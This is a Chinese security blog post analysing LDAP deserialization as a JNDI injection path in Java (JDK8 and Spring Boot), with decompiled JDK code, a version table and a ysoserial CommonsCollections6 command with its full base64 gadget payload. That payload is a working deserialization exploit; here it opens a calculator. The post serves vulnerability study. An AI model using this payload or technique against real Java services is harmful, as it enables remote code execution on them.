免费&进群
0x00 前言
由于想要JNDI注入使用RMI协议其实存在一定的限制条件比如高版本设置了trustURLCodebase
,虽然可以通过BeanFactory
来加载EL表达式的方式来RCE,但是其实Tomcat在高版本也存在了限制,这种方式也就无法利用了,于是想到其实还存在LDAP反序列化的漏洞,可以尝试利用一下。
这里我选择了JDK8u111 & Springboot2.5.13
版本来首先测试一下简单的JNDI注入的RCE的利用链。
0x01 JNDI注入
这里就是基础的log4j2 RCE的基础利用链了,可以看到熟悉的JndiManager.lookup()
这里是直接加载了RCE的恶意类,所以我们可以看到程序栈中是
ComponentContext#p_lookup
-->LdapCtx#c_lookup
-->DirectoryManager#getObjectInstance
这不是反序列化的利用链其实。
0x02 LDAP反序列化
其实在LdapCtx#c_lookup
中存在Obj.decodeObject()
方法,这里是反序列化的入口
protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
Object var3 = null;
Object var4;
try {
SearchControls var22 = new SearchControls();
var22.setSearchScope(0);
var22.setReturningAttributes((String[])null);
var22.setReturningObjFlag(true);
LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
this.respCtls = var23.resControls;
if (var23.status != 0) {
this.processReturnCode(var23, var1);
}
if (var23.entries != null && var23.entries.size() == 1) {
LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
var4 = var25.attributes;
Vector var8 = var25.respCtls;
if (var8 != null) {
appendVector(this.respCtls, var8);
}
} else {
var4 = new BasicAttributes(true);
}
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
//这里是反序列化的入口
var3 = Obj.decodeObject((Attributes)var4);
}
if (var3 == null) {
var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
}
} catch (LdapReferralException var20) {
LdapReferralException var5 = var20;
if (this.handleReferrals == 2) {
throw var2.fillInException(var20);
}
while(true) {
LdapReferralContext var6 = (LdapReferralContext)var5.getReferralContext(this.envprops, this.bindCtls);
try {
Object var7 = var6.lookup(var1);
return var7;
} catch (LdapReferralException var18) {
var5 = var18;
} finally {
var6.close();
}
}
} catch (NamingException var21) {
throw var2.fillInException(var21);
}
try {
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
} catch (NamingException var16) {
throw var2.fillInException(var16);
} catch (Exception var17) {
NamingException var24 = new NamingException("problem generating object using object factory");
var24.setRootCause(var17);
throw var2.fillInException(var24);
}
}
decodeObject
中的代码如下
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
//如果想要触发反序列化就要进入到这个if判断中
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
如图所示,var0
就是我们的入参其中是objectclass
等等内容
然后想要从var0
中获取JAVA_ATTRIBUTES[1]
,该属性的内容就是javaSerializedData
但是这样明显可以看出我们的var0
中并没有该属性(因为这里是直接加在恶意类,并不是获取一个序列化之后的恶意类),所以一定是无法进入这个if判断的。于是我们就要新建一个LDAP服务来提供一个序列化之后的恶意类。只是反序列化漏洞需要的环境是本次存在对应的依赖。
首先要搭建一个LDAP的恶意服务端,服务端返回的是恶意的Java序列化之后的数据,这里我选择使用CC6的利用链,先生成一下
$ > java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'open -a Calculator' |base64
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABJvcGVuIC1hIENhbGN1bGF0b3J0AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==
搭建服务端的话这里参考了大佬的项目
首先看一下效果肯定是可以直接RCE的。
版本测试
JDK版本 | SpingBoot版本 | Tomcat版本 | RCE |
---|---|---|---|
JDK8u111 | 2.5.13 | Apache Tomcat/9.0.62] | ✅ |
JDK8u361 | 2.5.13 | Apache Tomcat/9.0.62] | ✅ |
JDK8u361 | 2.7.14 | Apache Tomcat/9.0.78 | ✅ |
很好,其实只要本地存在依赖的话就是全版本的RCE了。下面来分析一下反序列化的利用原因
首先还是到decodeObject()
函数的时候,这里一定是可以进入这个if判断了
之后我们跟进deserializeObject()
方法中,代码如下
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
//var0中就是传入的Java序列化对象中javaSerializedData对应的value,其实也就是字节码
//var1根据我的调试是TomcatEmbeddedWebappClassLoader
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
try {
Object var20 = var1 == null ? new ObjectInputStream(var2) : new LoaderInputStream(var2, var1);
//这里就将var20给声明了
Throwable var21 = null;
Object var5;
try {
var5 = ((ObjectInputStream)var20).readObject();
} catch (Throwable var16) {
var21 = var16;
throw var16;
} finally {
if (var20 != null) {
if (var21 != null) {
try {
((ObjectInputStream)var20).close();
} catch (Throwable var15) {
var21.addSuppressed(var15);
}
} else {
((ObjectInputStream)var20).close();
}
}
}
return var5;
} /*
code*/
}
入口函数就是deserializeObject()
,其实再往后分析会变成CC6的分析。 后续再继续更新CC6的内容吧。
原文地址: https://xz.aliyun.com/t/12835
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):关于LDAP反序列化的利用浅析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论